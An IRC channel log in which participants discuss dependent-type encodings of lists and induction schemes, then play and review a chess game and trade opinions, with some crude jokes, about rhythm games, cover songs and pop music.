:MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :list is isomorphic to Sigma n, Fin n -> T < 1268006178 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :can you use the notation forall (n:N) in future? Sorry; it's just heavily ingrained in my mind. < 1268006187 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :because (Sigma n, Fin n -> T) : *, but (forall n, Fin n -> T) : N -> * < 1268006188 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :My mind parses that Sigma very badly :/ A personal failing. < 1268006199 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :list T : * whereas Vector T : N -> * < 1268006206 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. I see. < 1268006212 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Not in mine. < 1268006215 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :forall is implicit in mine. < 1268006219 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Then {n:N} ->, I suppose. < 1268006239 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :anyway you can do the induction principle for T' the same way as we did O < 1268006270 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Can you repeat T''s definition with {x:T} -> notation? < 1268006273 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I think I will understand it then. < 1268006284 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :T' := L' : T' | B' : (n : N) -> (Fin n -> T') -> T' < 1268006305 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*{n : N} -> < 1268006312 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But, gotcha. < 1268006312 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it's not implicit < 1268006318 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Except that only handles infinite lists < 1268006321 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what do you mean by {}? < 1268006323 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: oh right < 1268006325 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :no it only handles finite lists < 1268006326 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :sorry < 1268006329 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :really? < 1268006330 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :every natural number is finite < 1268006335 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes, but < 1268006338 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Fin 984350934580345 < 1268006345 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that's still finite :D < 1268006346 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :doesn't work as a param to a 5-length list < 1268006363 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :no it isn't you have to be able to access element N for every natural N < 1268006370 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :which is the very definition of countably infinite... < 1268006404 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :1::2::3::nil is represented as <3, {yes->1;no->2;maybe->3}> < 1268006424 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :r::q::p::::snil is represented as <4, {north->1;south->2;east->3;west->4}> < 1268006427 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1268006435 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :r::q::p::s::nil is represented as <4, {north->r;south->q;east->p;west->s}> < 1268006440 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1268006443 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :gotcha! < 1268006448 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ok, so what's the induction for T'? < 1268006458 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :why don't you write it < 1268006463 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :ill tell you if you get it right :) < 1268006467 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :look at O for inspiration < 1268006535 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Pr < 1268006547 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Ordinarily I'd love to, but - I really should have left many minutes ago. < 1268006569 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :You could save the dialogue for later, I'd love to participate, and just show me the induction schema for mu now for me to mull over. < 1268006577 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Or you could wait for both. Your choice. < 1268006714 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :there is no way you can possibly understand the scheme for Muu < 1268006729 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Likely. < 1268006729 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :You have to first understand T < 1268006735 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :But I'm interested in it regardless. < 1268006747 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it will be very simple and clear once if you just approach it step by step < 1268006785 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but I /really really/ have to go. Surely, there is no harm in telling me it? < 1268006795 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :well I don't know how to write it out either < 1268006807 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :we need to establish some new notation together first < 1268006825 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :just use any existing language :P < 1268006829 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :or are they not appropriate? < 1268006851 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :P(L') -> (forall n, forall f, (forall i, P(f i)) -> P(B' f)) -> forall t', P(t') < 1268006858 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that's the scheme for T' I wish you had got it < 1268006883 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i probably would have if i tried < 1268006888 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but /i/ /have/ /to/ /go/ < 1268006891 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :please try and understand < 1268006893 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :bye, anyway < 1268006897 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :so for T, P(L) -> (forall l, [] P l -> P(B l)) -> forall t, P(t) < 1268006908 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :[] is a new notation we have invented < 1268006923 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :[] P (a::b::c::d::nil) = P a /\ P b /\ P c /\ P d < 1268006949 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :[] is defined for any strictly positive functor < 1268006960 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :(proof of this is in some paper I can show you later) < 1268006967 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :this is enough to define induction on Mu < 1268007067 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's the end of days for There. < 1268007137 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"�DSL/Cable modem: 25 minutes" < 1268007143 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :for a 47MB download < 1268007164 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268007457 0 :FireFly!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268007757 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268008323 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268009298 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wants to play on FICS against someone he knows
< 1268010107 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION has been futzing a tiny bit with TinyGC...
< 1268010119 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... It appears to work, and appears to be slow. < 1268010120 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1268010162 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: what's your rating? < 1268010183 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :coppro, um, it's been years since I was last on FICS < 1268010185 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How do I get that? < 1268010192 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: oh, ok < 1268010195 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :then I'll play you < 1268010197 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Found it < 1268010209 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I just didn't want to play against someone way better than me < 1268010211 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Um, rating for Blitz or Standard or Lightning? < 1268010220 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :coppro, I'm probably not better than you < 1268010220 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :don't really care < 1268010225 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's been years since I played chess < 1268010383 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: what time controls do you want? < 1268010392 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :*shrug* < 1268010415 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Regular, I guess < 1268010457 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: it says you're examining a game < 1268010462 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What? < 1268010476 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :there we go < 1268010734 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION clearly has no clue what he's doing
< 1268010776 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I only have a little more than you < 1268010795 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I can give you some pointers afterward, if you'd like < 1268010929 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Sure < 1268011026 0 :MissPiggy!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268011038 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION isn't really thinking anything through that much
< 1268011221 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :You went downhill around move 16 < 1268011826 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I've lost, haven't I? < 1268011893 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric ::(:(:( < 1268011953 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :mostly < 1268012061 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :[In case anyone cares, I just lost] < 1268012066 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :coppro, what client do you use? < 1268012074 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :eboard < 1268012085 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it's not great, but it's not terrible < 1268012086 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is using BabasChess
< 1268012094 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Used to use Chess Machine and love it < 1268012242 0 :lament!unknown@unknown.invalid QUIT :*.net *.split < 1268012242 0 :HackEgo!unknown@unknown.invalid QUIT :*.net *.split < 1268012325 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268012399 0 :HackEgo!~HackEgo@codu.xen.prgmr.com JOIN :#esoteric < 1268012544 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :http://i.imgur.com/qlrHy.jpg < 1268012653 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :bsmntbombdood: OK, I'm putting that on sibeli.us for the moment. < 1268012760 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :i don't get it < 1268012854 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :http://sibeli.us/ < 1268012897 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :who the hell is Jean Sibelius < 1268012911 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :X_X < 1268012914 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :God I hate people. < 1268014135 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Anyone want to see the game between coppro and I? < 1268014225 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :??? < 1268014232 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh, chess game. < 1268014235 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I am so suck at chess. < 1268014665 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, bet you're better than me < 1268014674 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I haven't played in YEARS < 1268014680 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And when I had, I barely paid attention < 1268014716 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I know the mechanics, just no strategy < 1268014732 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgoe: you were pretty good for the first half < 1268014737 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but then your moves just became random < 1268014755 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :although you missed some opportunities to develop; getting pieces out and involved is key < 1268014834 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268014966 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : hm... FAUST "Functional AUdio STream"... What are the chances of that name NOT being designed to fit the acronym? < 1268014992 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :exceedingly tiny i'd say, since if they didn't know about faust, FAST would have been closer < 1268015022 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1268015050 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268015214 0 :gm|lap!~gm@unaffiliated/greasemonkey JOIN :#esoteric < 1268017324 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Awesome catch :P < 1268017373 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :So, what person who's totally not me wants to get out the sheet music for Finlandia and record the event sequence for my Generic Music Idol Band Star Game. < 1268017378 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :With a "?" there < 1268017633 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://ficsgames.com/cgi-bin/show.cgi?ID=243952855;action=show < 1268017779 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268017822 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268019378 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1268019537 0 :gm|lap!unknown@unknown.invalid QUIT :Quit: HydraIRC is a child molester -> http://silverex.net/news <- i couldn't change my quit message < 1268019549 0 :GreaseMonkey!~gm@unaffiliated/greasemonkey JOIN :#esoteric < 1268019837 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GreaseMonkey: Generic Music Idol Band Star Game? < 1268019838 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. < 1268019842 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Generic Music Idol Band Star Game? < 1268019857 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Clearly, something *that* generic should have the sequence generated from the sheet music! < 1268019876 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Impossible, the recording, being of non-shitty music, doesn't have a constant tempo. < 1268019880 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... And by sheet music, I mean a convenient, easy-to-parse subset! < 1268019925 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to think of non-shitty music with a constant tempo...
< 1268019930 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is having severe difficulty.
< 1268019973 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Okay, I'm having trouble thinking of *shitty* music with a constant tempo now. :P < 1268020063 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :4'33". < 1268020066 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION vejnas!
< 1268020213 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION plays zee5.ogg
< 1268020216 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :;P < 1268020851 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh, I never really answered your question. < 1268020880 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Generic Music Idol Band Star Game is a generalization of DDR, Guitar Hero, Rock Band, and all the other identically dull games out there. < 1268020918 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Currently it's roughly equivalent to DDR, for the others I would need non-instant events, but that's a trivial addition really. < 1268020939 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And of course the horrendous karaoke part that should earn the death sentence to all who play it is excluded. < 1268021121 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hey, DDR started it and was unique... < 1268021131 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... And then came more bemani from Konami... < 1268021131 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :DDR did not start it. < 1268021134 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And it was not unique. < 1268021139 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Parappa the Rapper started it. < 1268021154 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :DDR merely introduced a non-gamepad controller to the equation. < 1268021159 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... And then they started releasing games with just the music changed... < 1268021184 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And then Guitar Hero and Rock Band came around. < 1268021203 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well after the genre had been beaten into a bloody, homogenous pulp. < 1268021248 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Regardless, DDR didn't start it, they were just the first ones clever enough to get people to pay for an alternate controller that is only useful for one game. < 1268021273 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Rock Band did the best in that regards of course, getting people to pay for FOUR alternate controllers that are only useful for one game, and are in fact interchangeable except for layout. < 1268021274 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :DDR's the home version of an arcade game. < 1268021312 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Well fine, they were the first ones clever enough to devise an alternate control mechanism, which they used initially in arcade :P < 1268021346 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, the whole genre is stupid rubbish that has the unfortunate tendency of making people think they have a viable skill when they have none. < 1268021380 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :But it's also an amusing thing to parody with Finlandia :P < 1268021384 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :DDR is quite enjoyable. But... Yeah, the whole genre is ridiculously repetitive. < 1268021397 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"Oooh, let's make a new game, but with *different songs*!" < 1268021401 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Also, http://upload.wikimedia.org/wikipedia/en/4/4f/Inch_converter.jpg is the most horrifying thing I've ever seen. < 1268021416 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"Hey, I got something better! Let's change the brand name and *have a different controller*!" < 1268021468 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And of course, no useful skill involved. Just a useless one. < 1268021598 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I suppose the basic agility encouraged by DDR is arguably a more viable skill than the ability to thumb something that's such a poor approximation of a guitar that it literally has no relevance were you to actually want to learn the guitar. < 1268021612 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Actually, hahahah, y'know what really started the genre? < 1268021616 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Miracle Piano Teaching System < 1268021631 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also of note: DDR functions as a form of exercise. Everything else... Is about as useful as playing air guitar. < 1268021685 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :But Miracle Piano Teaching System is, of course, far too difficult for the average GMIBSGer, and besides it actually teaches a skill that borders on useful. < 1268021714 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Indeed. < 1268021750 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :At the least, you're more likely to impress a female with being able to play piano than being able to do Paranoia Survivor Max on challenge. < 1268021764 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And that is why all males do anything, right? :P < 1268021825 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It's worked out well for me! >_> < 1268021836 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hahah. < 1268021888 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The karaoke-thing on Rock Band, tangentially, is damn near impossible if you can sing. < 1268021911 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :You're not allowed to use vibrato, yes? < 1268021919 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268021921 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Or rather, you'll be penalized for it. < 1268021924 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Or... Anything else. < 1268021939 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And God help you if you're not used to singing the melody. :P < 1268021946 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Heh < 1268021960 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :This is Rock BAND, not Rock CHOIR < 1268021991 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Although a choral GMIBSG would be ... impossible for the neanderthals that play that kind of game to figure out *shrugs* < 1268021996 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Feh, that was offensive. < 1268022003 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Neanderthals aren't so bad, really. < 1268022011 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :They're our cousins. < 1268022031 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Let's say ... australopithecus. < 1268022038 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Eh, most people play it as an excuse to be with friends. < 1268022046 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Kinda silly to need an excuse, but hey. < 1268022067 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I MIGHT have negative opinions about this genre of game :P < 1268022105 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I have negative opinions about most of the genre simply because it's been beaten in the ground more than even freaking sports games. < 1268022164 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, and the choice of music for them usually *sucks*. < 1268022186 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Of course, they need the most constant and dull music possible to make the game possible. < 1268022196 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Aside from the fact that if it was good, royalties would be too expensive. < 1268022218 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :DDR tends to commission music. < 1268022231 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And Guitar Hero commissions... Covers. < 1268022239 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268022242 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Very annoyingly poor covers, too. < 1268022254 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The whole concept of covers amuses me a lot, btw. < 1268022274 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It is kind of amusing, yes. < 1268022276 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I want to convince my cellist friend to say he's doing a cover of Shostakovich some time :P < 1268022316 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :All because of the singer-songwriter thing that started getting common in the 50s... < 1268022372 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION got reminded of that terrible Kansas cover again.
< 1268022377 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :But what's really hilarious is that I'm sure that the majority of singer-songwriters nowadays are not, in fact songwriters, but the actual songwriters are grunts who get no recognition. < 1268022399 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: The majority of *popular* ones, perhaps. < 1268022408 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Naturally that's what I'm referring to, yes. < 1268022418 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The popular singer-songwriters today aren't even singers. They're boobs with autotuners. < 1268022419 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :When you get outside the realm of popular musical shovelware, then you start seeing talent. < 1268022445 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Heck, just get outside the past couple decades or so and you start seeing talented people that are popular. < 1268022470 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :So, you're saying that music continues its steady slide into the abyss :P < 1268022471 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Freaking autotune. < 1268022491 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1268022500 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Nah, just the stuff that gets shoved down people's throats that I'm not sure how anybody can like. < 1268022510 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :what what < 1268022519 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Awesome timing for Oranjer to waltz in :P < 1268022549 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I'm guessing it's...religion? < 1268022566 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1268022572 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Not particularly close. < 1268022572 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :darn < 1268022575 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Could be farther though. < 1268022576 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I give up < 1268022588 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :There are logs, y'know :P < 1268022593 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :hmph < 1268022593 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Music. Specifically, manufactured music produced by the RIAA. < 1268022602 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268022623 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Examples include Celine Dion and Nickleback. < 1268022625 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(effin' Canada!) < 1268022635 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :Celine Dion is a national treasure < 1268022650 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Boobs with an autotuner. < 1268022664 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :boobs with an autotuner is a national treasure < 1268022672 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I beg to differ. < 1268022673 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Y'know, if they built the autotuner right into the breast implants, they could save a lot of trouble. < 1268022682 0 :GreaseMonkey!unknown@unknown.invalid PRIVMSG #esoteric :boobs with an autotuner is national treasure < 1268022692 0 :GreaseMonkey!unknown@unknown.invalid PRIVMSG #esoteric :(alt title) < 1268022730 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :in soviet russia, blah blah... < 1268022777 0 :GreaseMonkey!unknown@unknown.invalid PRIVMSG #esoteric :http://pubacc.wilcox-tech.com/~greaser/mods/dootman.it if you're lacking somewhat interesting music < 1268022784 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You want a national treasure? *Jimi Hendrix* is a national treasure. < 1268022819 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I agree < 1268023327 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :jimi hendrix is dead. < 1268023334 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :he can't be a national treasure. < 1268023345 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :augur: WE WORSHIP HIS BONES. < 1268023348 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :don't you get it, augur? < 1268023354 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :his bones have gone missing < 1268023356 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oic < 1268023363 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :we have to go on a quest to find them < 1268023366 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, ofcourse his bones have gone missing < 1268023374 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :he's been resurrected < 1268023425 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :As a ZOMBIE < 1268023461 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :National Treasure 3: Zombie Hendrix would be, literally, the best movie conceivable < 1268023508 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Why 3? < 1268023511 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ohwait < 1268023519 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :hahahaha < 1268023521 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :There were some movies called "National Treasure", weren't there? < 1268023527 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1268023529 0 